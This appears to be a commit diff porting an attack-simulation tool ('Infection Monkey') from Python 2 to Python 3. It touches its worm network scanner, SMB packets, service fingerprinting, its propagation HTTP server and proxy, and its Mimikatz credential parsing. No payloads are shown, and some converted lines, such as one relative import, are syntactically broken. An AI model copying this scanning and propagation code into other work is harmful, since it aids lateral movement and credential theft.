socket.htonl(long(msk, 16)) & 0xffffffff,
|
socket.htonl(int(msk, 16)) & 0xffffffff,
|
||||||
socket.inet_ntoa(struct.pack("I", long(gw, 16))),
|
socket.inet_ntoa(struct.pack("I", int(gw, 16))),
|
||||||
iff, ifaddr))
|
iff, ifaddr))
|
||||||
|
|
||||||
f.close()
|
f.close()
|
||||||
|
@ -158,7 +158,7 @@ def get_interfaces_ranges():
|
||||||
for net_interface in ifs:
|
for net_interface in ifs:
|
||||||
address_str = net_interface['addr']
|
address_str = net_interface['addr']
|
||||||
netmask_str = net_interface['netmask']
|
netmask_str = net_interface['netmask']
|
||||||
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
|
ip_interface = ipaddress.ip_interface("%s/%s" % (address_str, netmask_str))
|
||||||
# limit subnet scans to class C only
|
# limit subnet scans to class C only
|
||||||
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
|
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
|
||||||
return res
|
return res
|
||||||
|
|
|
@ -48,13 +48,13 @@ class NetworkScanner(object):
|
||||||
subnets_to_scan = []
|
subnets_to_scan = []
|
||||||
if len(WormConfiguration.inaccessible_subnets) > 1:
|
if len(WormConfiguration.inaccessible_subnets) > 1:
|
||||||
for subnet_str in WormConfiguration.inaccessible_subnets:
|
for subnet_str in WormConfiguration.inaccessible_subnets:
|
||||||
if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str):
|
if NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], subnet_str):
|
||||||
# If machine has IPs from 2 different subnets in the same group, there's no point checking the other
|
# If machine has IPs from 2 different subnets in the same group, there's no point checking the other
|
||||||
# subnet.
|
# subnet.
|
||||||
for other_subnet_str in WormConfiguration.inaccessible_subnets:
|
for other_subnet_str in WormConfiguration.inaccessible_subnets:
|
||||||
if other_subnet_str == subnet_str:
|
if other_subnet_str == subnet_str:
|
||||||
continue
|
continue
|
||||||
if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses],
|
if not NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses],
|
||||||
other_subnet_str):
|
other_subnet_str):
|
||||||
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
|
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
|
||||||
break
|
break
|
||||||
|
|
|
@ -19,14 +19,14 @@ class Packet(object):
|
||||||
|
|
||||||
def __init__(self, **kw):
|
def __init__(self, **kw):
|
||||||
self.fields = odict(self.__class__.fields)
|
self.fields = odict(self.__class__.fields)
|
||||||
for k, v in kw.items():
|
for k, v in list(kw.items()):
|
||||||
if callable(v):
|
if callable(v):
|
||||||
self.fields[k] = v(self.fields[k])
|
self.fields[k] = v(self.fields[k])
|
||||||
else:
|
else:
|
||||||
self.fields[k] = v
|
self.fields[k] = v
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, list(self.fields.values())))
|
||||||
|
|
||||||
|
|
||||||
##### SMB Packets #####
|
##### SMB Packets #####
|
||||||
|
|
|
@ -36,7 +36,7 @@ class SSHFinger(HostFinger):
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
assert isinstance(host, VictimHost)
|
assert isinstance(host, VictimHost)
|
||||||
|
|
||||||
for name, data in host.services.items():
|
for name, data in list(host.services.items()):
|
||||||
banner = data.get('banner', '')
|
banner = data.get('banner', '')
|
||||||
if self._banner_regex.search(banner):
|
if self._banner_regex.search(banner):
|
||||||
self._banner_match(name, host, banner)
|
self._banner_match(name, host, banner)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from itertools import izip_longest
|
from itertools import zip_longest
|
||||||
from random import shuffle
|
from random import shuffle
|
||||||
|
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
|
@ -34,7 +34,7 @@ class TcpScanner(HostScanner, HostFinger):
|
||||||
|
|
||||||
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
|
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
|
||||||
self._config.tcp_scan_get_banner)
|
self._config.tcp_scan_get_banner)
|
||||||
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
|
for target_port, banner in zip_longest(ports, banners, fillvalue=None):
|
||||||
service = tcp_port_to_service(target_port)
|
service = tcp_port_to_service(target_port)
|
||||||
self.init_service(host.services, service, target_port)
|
self.init_service(host.services, service, target_port)
|
||||||
if banner:
|
if banner:
|
||||||
|
|
|
@ -34,10 +34,10 @@ class SystemInfoCollector(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.os = SystemInfoCollector.get_os()
|
self.os = SystemInfoCollector.get_os()
|
||||||
if OperatingSystem.Windows == self.os:
|
if OperatingSystem.Windows == self.os:
|
||||||
from windows_info_collector import WindowsInfoCollector
|
from .windows_info_collector import WindowsInfoCollector
|
||||||
self.collector = WindowsInfoCollector()
|
self.collector = WindowsInfoCollector()
|
||||||
else:
|
else:
|
||||||
from linux_info_collector import LinuxInfoCollector
|
from .linux_info_collector import LinuxInfoCollector
|
||||||
self.collector = LinuxInfoCollector()
|
self.collector = LinuxInfoCollector()
|
||||||
|
|
||||||
def get_info(self):
|
def get_info(self):
|
||||||
|
|
|
@ -10,9 +10,7 @@ __author__ = 'itamar'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class _SystemSingleton(object):
|
class _SystemSingleton(object, metaclass=ABCMeta):
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
@property
|
@property
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def locked(self):
|
def locked(self):
|
||||||
|
|
|
@ -5,13 +5,11 @@ from infection_monkey.control import ControlClient
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
class BaseTelem(object):
|
class BaseTelem(object, metaclass=abc.ABCMeta):
|
||||||
"""
|
"""
|
||||||
Abstract base class for telemetry.
|
Abstract base class for telemetry.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__metaclass__ = abc.ABCMeta
|
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -1,11 +1,11 @@
|
||||||
import BaseHTTPServer
|
import http.server
|
||||||
import os.path
|
import os.path
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import threading
|
import threading
|
||||||
import urllib
|
import urllib.request, urllib.parse, urllib.error
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from urlparse import urlsplit
|
from urllib.parse import urlsplit
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
|
@ -16,7 +16,7 @@ __author__ = 'hoffer'
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
protocol_version = "HTTP/1.1"
|
protocol_version = "HTTP/1.1"
|
||||||
filename = ""
|
filename = ""
|
||||||
|
|
||||||
|
@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
def send_head(self):
|
def send_head(self):
|
||||||
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
|
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
|
||||||
self.send_error(500, "")
|
self.send_error(500, "")
|
||||||
return None, 0, 0
|
return None, 0, 0
|
||||||
f = None
|
f = None
|
||||||
|
@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
format % args))
|
format % args))
|
||||||
|
|
||||||
|
|
||||||
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
||||||
timeout = 30 # timeout with clients, set to None not to make persistent connection
|
timeout = 30 # timeout with clients, set to None not to make persistent connection
|
||||||
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||||
protocol_version = "HTTP/1.1"
|
protocol_version = "HTTP/1.1"
|
||||||
|
@ -175,7 +175,7 @@ class HTTPServer(threading.Thread):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
httpd.timeout = 0.5 # this is irrelevant?
|
httpd.timeout = 0.5 # this is irrelevant?
|
||||||
|
|
||||||
while not self._stopped and self.downloads < self.max_downloads:
|
while not self._stopped and self.downloads < self.max_downloads:
|
||||||
|
@ -222,7 +222,7 @@ class LockedHTTPServer(threading.Thread):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
while not self._stopped and self.downloads < self.max_downloads:
|
while not self._stopped and self.downloads < self.max_downloads:
|
||||||
httpd.handle_request()
|
httpd.handle_request()
|
||||||
|
@ -236,7 +236,7 @@ class LockedHTTPServer(threading.Thread):
|
||||||
|
|
||||||
class HTTPConnectProxy(TransportProxyBase):
|
class HTTPConnectProxy(TransportProxyBase):
|
||||||
def run(self):
|
def run(self):
|
||||||
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||||
httpd.timeout = 30
|
httpd.timeout = 30
|
||||||
while not self._stopped:
|
while not self._stopped:
|
||||||
httpd.handle_request()
|
httpd.handle_request()
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
import monkey_island.cc.main
|
from . import monkey_island.cc.main
|
||||||
|
|
||||||
if "__main__" == __name__:
|
if "__main__" == __name__:
|
||||||
monkey_island.cc.main.main()
|
monkey_island.cc.main.main()
|
||||||
|
|
|
@ -64,16 +64,16 @@ def normalize_obj(obj):
|
||||||
obj['id'] = obj['_id']
|
obj['id'] = obj['_id']
|
||||||
del obj['_id']
|
del obj['_id']
|
||||||
|
|
||||||
for key, value in obj.items():
|
for key, value in list(obj.items()):
|
||||||
if type(value) is bson.objectid.ObjectId:
|
if isinstance(value, bson.objectid.ObjectId):
|
||||||
obj[key] = str(value)
|
obj[key] = str(value)
|
||||||
if type(value) is datetime:
|
if isinstance(value, datetime):
|
||||||
obj[key] = str(value)
|
obj[key] = str(value)
|
||||||
if type(value) is dict:
|
if isinstance(value, dict):
|
||||||
obj[key] = normalize_obj(value)
|
obj[key] = normalize_obj(value)
|
||||||
if type(value) is list:
|
if isinstance(value, list):
|
||||||
for i in range(0, len(value)):
|
for i in range(0, len(value)):
|
||||||
if type(value[i]) is dict:
|
if isinstance(value[i], dict):
|
||||||
value[i] = normalize_obj(value[i])
|
value[i] = normalize_obj(value[i])
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
|
|
|
@ -6,9 +6,7 @@ from Crypto.Hash import SHA3_512
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
class Environment(object):
|
class Environment(object, metaclass=abc.ABCMeta):
|
||||||
__metaclass__ = abc.ABCMeta
|
|
||||||
|
|
||||||
_ISLAND_PORT = 5000
|
_ISLAND_PORT = 5000
|
||||||
_MONGO_DB_NAME = "monkeyisland"
|
_MONGO_DB_NAME = "monkeyisland"
|
||||||
_MONGO_DB_HOST = "localhost"
|
_MONGO_DB_HOST = "localhost"
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from __future__ import print_function # In python 2.7
|
# In python 2.7
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import os.path
|
import os.path
|
||||||
|
|
|
@ -12,8 +12,8 @@ else:
|
||||||
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
||||||
|
|
||||||
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
||||||
from config import Config
|
from .config import Config
|
||||||
from creds import Creds
|
from .creds import Creds
|
||||||
from monkey_ttl import MonkeyTtl
|
from .monkey_ttl import MonkeyTtl
|
||||||
from pba_results import PbaResults
|
from .pba_results import PbaResults
|
||||||
from monkey import Monkey
|
from .monkey import Monkey
|
||||||
|
|
|
@ -1,10 +1,10 @@
|
||||||
import uuid
|
import uuid
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
from monkey import Monkey
|
from .monkey import Monkey
|
||||||
from monkey_island.cc.models.monkey import MonkeyNotFoundError
|
from monkey_island.cc.models.monkey import MonkeyNotFoundError
|
||||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||||
from monkey_ttl import MonkeyTtl
|
from .monkey_ttl import MonkeyTtl
|
||||||
|
|
||||||
|
|
||||||
class TestMonkey(IslandTestCase):
|
class TestMonkey(IslandTestCase):
|
||||||
|
@ -87,6 +87,6 @@ class TestMonkey(IslandTestCase):
|
||||||
windows_monkey.save()
|
windows_monkey.save()
|
||||||
unknown_monkey.save()
|
unknown_monkey.save()
|
||||||
|
|
||||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
|
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
|
||||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
|
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
|
||||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
|
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
|
||||||
|
|
|
@ -14,9 +14,7 @@ class Singleton(type):
|
||||||
return cls._instances[cls]
|
return cls._instances[cls]
|
||||||
|
|
||||||
|
|
||||||
class ReportExporterManager(object):
|
class ReportExporterManager(object, metaclass=Singleton):
|
||||||
__metaclass__ = Singleton
|
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._exporters_set = set()
|
self._exporters_set = set()
|
||||||
|
|
||||||
|
|
|
@ -26,8 +26,8 @@ class AttackConfig(object):
|
||||||
:return: Technique object or None if technique is not found
|
:return: Technique object or None if technique is not found
|
||||||
"""
|
"""
|
||||||
attack_config = AttackConfig.get_config()
|
attack_config = AttackConfig.get_config()
|
||||||
for key, attack_type in attack_config['properties'].items():
|
for key, attack_type in list(attack_config['properties'].items()):
|
||||||
for key, technique in attack_type['properties'].items():
|
for key, technique in list(attack_type['properties'].items()):
|
||||||
if key == technique_id:
|
if key == technique_id:
|
||||||
return technique
|
return technique
|
||||||
return None
|
return None
|
||||||
|
@ -66,7 +66,7 @@ class AttackConfig(object):
|
||||||
:param monkey_config: Monkey island's configuration
|
:param monkey_config: Monkey island's configuration
|
||||||
:param monkey_schema: Monkey configuration schema
|
:param monkey_schema: Monkey configuration schema
|
||||||
"""
|
"""
|
||||||
for key, definition in monkey_schema['definitions'].items():
|
for key, definition in list(monkey_schema['definitions'].items()):
|
||||||
for array_field in definition['anyOf']:
|
for array_field in definition['anyOf']:
|
||||||
# Check if current array field has attack_techniques assigned to it
|
# Check if current array field has attack_techniques assigned to it
|
||||||
if 'attack_techniques' in array_field and array_field['attack_techniques']:
|
if 'attack_techniques' in array_field and array_field['attack_techniques']:
|
||||||
|
@ -83,7 +83,7 @@ class AttackConfig(object):
|
||||||
:param monkey_config: Monkey island's configuration
|
:param monkey_config: Monkey island's configuration
|
||||||
:param monkey_schema: Monkey configuration schema
|
:param monkey_schema: Monkey configuration schema
|
||||||
"""
|
"""
|
||||||
for key, value in monkey_schema['properties'].items():
|
for key, value in list(monkey_schema['properties'].items()):
|
||||||
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
|
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -110,7 +110,7 @@ class AttackConfig(object):
|
||||||
dictionary = value['properties']
|
dictionary = value['properties']
|
||||||
else:
|
else:
|
||||||
dictionary = value
|
dictionary = value
|
||||||
for key, item in dictionary.items():
|
for key, item in list(dictionary.items()):
|
||||||
path.append(key)
|
path.append(key)
|
||||||
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
|
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
|
||||||
# Method enumerated everything in current path, goes back a level.
|
# Method enumerated everything in current path, goes back a level.
|
||||||
|
@ -158,7 +158,7 @@ class AttackConfig(object):
|
||||||
elif not remove and field not in config_value[array_name]:
|
elif not remove and field not in config_value[array_name]:
|
||||||
config_value[array_name].append(field)
|
config_value[array_name].append(field)
|
||||||
else:
|
else:
|
||||||
for prop in config_value.items():
|
for prop in list(config_value.items()):
|
||||||
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
|
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -169,7 +169,7 @@ class AttackConfig(object):
|
||||||
"""
|
"""
|
||||||
attack_config = AttackConfig.get_config()
|
attack_config = AttackConfig.get_config()
|
||||||
techniques = {}
|
techniques = {}
|
||||||
for type_name, attack_type in attack_config['properties'].items():
|
for type_name, attack_type in list(attack_config['properties'].items()):
|
||||||
for key, technique in attack_type['properties'].items():
|
for key, technique in list(attack_type['properties'].items()):
|
||||||
techniques[key] = technique['value']
|
techniques[key] = technique['value']
|
||||||
return techniques
|
return techniques
|
||||||
|
|
|
@ -41,7 +41,7 @@ class AttackReportService:
|
||||||
'name': REPORT_NAME
|
'name': REPORT_NAME
|
||||||
}
|
}
|
||||||
|
|
||||||
for tech_id, value in AttackConfig.get_technique_values().items():
|
for tech_id, value in list(AttackConfig.get_technique_values().items()):
|
||||||
if value:
|
if value:
|
||||||
try:
|
try:
|
||||||
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
|
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
|
||||||
|
|
|
@ -59,7 +59,7 @@ class T1110(AttackTechnique):
|
||||||
'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
|
'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
|
||||||
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
|
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
|
||||||
'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
|
'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
|
||||||
for key, cred in creds.items():
|
for key, cred in list(creds.items()):
|
||||||
if attempt[key]:
|
if attempt[key]:
|
||||||
return '%s ; %s : %s' % (username,
|
return '%s ; %s : %s' % (username,
|
||||||
cred['type'],
|
cred['type'],
|
||||||
|
|
|
@ -6,9 +6,8 @@ from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||||
from common.utils.code_utils import abstractstatic
|
from common.utils.code_utils import abstractstatic
|
||||||
|
|
||||||
|
|
||||||
class AttackTechnique(object):
|
class AttackTechnique(object, metaclass=abc.ABCMeta):
|
||||||
""" Abstract class for ATT&CK report components """
|
""" Abstract class for ATT&CK report components """
|
||||||
__metaclass__ = abc.ABCMeta
|
|
||||||
|
|
||||||
@abc.abstractproperty
|
@abc.abstractproperty
|
||||||
def unscanned_msg(self):
|
def unscanned_msg(self):
|
||||||
|
|
|
@ -10,7 +10,7 @@ from monkey_island.cc.database import mongo
|
||||||
from monkey_island.cc.encryptor import encryptor
|
from monkey_island.cc.encryptor import encryptor
|
||||||
from monkey_island.cc.environment.environment import env
|
from monkey_island.cc.environment.environment import env
|
||||||
from monkey_island.cc.utils import local_ip_addresses
|
from monkey_island.cc.utils import local_ip_addresses
|
||||||
from config_schema import SCHEMA
|
from .config_schema import SCHEMA
|
||||||
|
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
|
@ -203,11 +203,11 @@ class ConfigService:
|
||||||
# Do it only for root.
|
# Do it only for root.
|
||||||
if instance != {}:
|
if instance != {}:
|
||||||
return
|
return
|
||||||
for property, subschema in properties.iteritems():
|
for property, subschema in properties.items():
|
||||||
main_dict = {}
|
main_dict = {}
|
||||||
for property2, subschema2 in subschema["properties"].iteritems():
|
for property2, subschema2 in subschema["properties"].items():
|
||||||
sub_dict = {}
|
sub_dict = {}
|
||||||
for property3, subschema3 in subschema2["properties"].iteritems():
|
for property3, subschema3 in subschema2["properties"].items():
|
||||||
if "default" in subschema3:
|
if "default" in subschema3:
|
||||||
sub_dict[property3] = subschema3["default"]
|
sub_dict[property3] = subschema3["default"]
|
||||||
main_dict[property2] = sub_dict
|
main_dict[property2] = sub_dict
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
WARNING_SIGN = u" \u26A0"
|
WARNING_SIGN = " \u26A0"
|
||||||
|
|
||||||
SCHEMA = {
|
SCHEMA = {
|
||||||
"title": "Monkey",
|
"title": "Monkey",
|
||||||
|
|
|
@ -151,7 +151,7 @@ class EdgeService:
|
||||||
else:
|
else:
|
||||||
to_label = NodeService.get_monkey_label(to_id)
|
to_label = NodeService.get_monkey_label(to_id)
|
||||||
|
|
||||||
RIGHT_ARROW = u"\u2192"
|
RIGHT_ARROW = "\u2192"
|
||||||
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
|
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -16,8 +16,8 @@ class MimikatzSecrets(object):
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
for sam_user_txt in users_secrets:
|
for sam_user_txt in users_secrets:
|
||||||
sam_user = dict([map(unicode.strip, line.split(":")) for line in
|
sam_user = dict([list(map(str.strip, line.split(":"))) for line in
|
||||||
filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())])
|
[l for l in sam_user_txt.splitlines() if l.count(":") == 1]])
|
||||||
username = sam_user.get("User")
|
username = sam_user.get("User")
|
||||||
users_dict[username] = {}
|
users_dict[username] = {}
|
||||||
|
|
||||||
|
|
|
@ -217,7 +217,7 @@ class PTHReportService(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def generate_map_nodes():
|
def generate_map_nodes():
|
||||||
monkeys = filter(lambda m: m.get_os() == "windows", Monkey.objects())
|
monkeys = [m for m in Monkey.objects() if m.get_os() == "windows"]
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
|
|
|
@ -16,7 +16,7 @@ from monkey_island.cc.services.config import ConfigService
|
||||||
from monkey_island.cc.services.edge import EdgeService
|
from monkey_island.cc.services.edge import EdgeService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.utils import local_ip_addresses, get_subnets
|
from monkey_island.cc.utils import local_ip_addresses, get_subnets
|
||||||
from pth_report import PTHReportService
|
from .pth_report import PTHReportService
|
||||||
from common.network.network_range import NetworkRange
|
from common.network.network_range import NetworkRange
|
||||||
|
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
|
@ -40,7 +40,7 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
|
||||||
|
|
||||||
map_nodes = PTHReportService.generate_map_nodes()
|
map_nodes = PTHReportService.generate_map_nodes()
|
||||||
|
|
||||||
self.assertEquals(2, len(map_nodes))
|
self.assertEqual(2, len(map_nodes))
|
||||||
|
|
||||||
def test_generate_map_nodes_parsing(self):
|
def test_generate_map_nodes_parsing(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
|
@ -59,11 +59,11 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
|
||||||
|
|
||||||
map_nodes = PTHReportService.generate_map_nodes()
|
map_nodes = PTHReportService.generate_map_nodes()
|
||||||
|
|
||||||
self.assertEquals(map_nodes[0]["id"], monkey_id)
|
self.assertEqual(map_nodes[0]["id"], monkey_id)
|
||||||
self.assertEquals(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1")
|
self.assertEqual(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1")
|
||||||
self.assertEquals(map_nodes[0]["group"], "critical")
|
self.assertEqual(map_nodes[0]["group"], "critical")
|
||||||
self.assertEquals(len(map_nodes[0]["services"]), 2)
|
self.assertEqual(len(map_nodes[0]["services"]), 2)
|
||||||
self.assertEquals(map_nodes[0]["hostname"], hostname)
|
self.assertEqual(map_nodes[0]["hostname"], hostname)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -95,7 +95,7 @@ class WMIHandler(object):
|
||||||
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
|
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
|
||||||
child_sid = ''
|
child_sid = ''
|
||||||
|
|
||||||
if type(child_part) in (unicode, str):
|
if type(child_part) in (str, str):
|
||||||
child_part = str(child_part)
|
child_part = str(child_part)
|
||||||
name = None
|
name = None
|
||||||
domain_name = None
|
domain_name = None
|
||||||
|
@ -124,7 +124,7 @@ class WMIHandler(object):
|
||||||
self.info_for_mongo[child_sid]['member_of'].append(group_sid)
|
self.info_for_mongo[child_sid]['member_of'].append(group_sid)
|
||||||
|
|
||||||
def insert_info_to_mongo(self):
|
def insert_info_to_mongo(self):
|
||||||
for entity in self.info_for_mongo.values():
|
for entity in list(self.info_for_mongo.values()):
|
||||||
if entity['machine_id']:
|
if entity['machine_id']:
|
||||||
# Handling for local entities.
|
# Handling for local entities.
|
||||||
mongo.db.groupsandusers.update({'SID': entity['SID'],
|
mongo.db.groupsandusers.update({'SID': entity['SID'],
|
||||||
|
|
|
@ -5,7 +5,7 @@ from monkey_island.cc.models import Monkey
|
||||||
|
|
||||||
class IslandTestCase(unittest.TestCase):
|
class IslandTestCase(unittest.TestCase):
|
||||||
def fail_if_not_testing_env(self):
|
def fail_if_not_testing_env(self):
|
||||||
self.failIf(not env.testing, "Change server_config.json to testing environment.")
|
self.assertFalse(not env.testing, "Change server_config.json to testing environment.")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def clean_monkey_db():
|
def clean_monkey_db():
|
||||||
|
|
Loading…
Reference in New Issue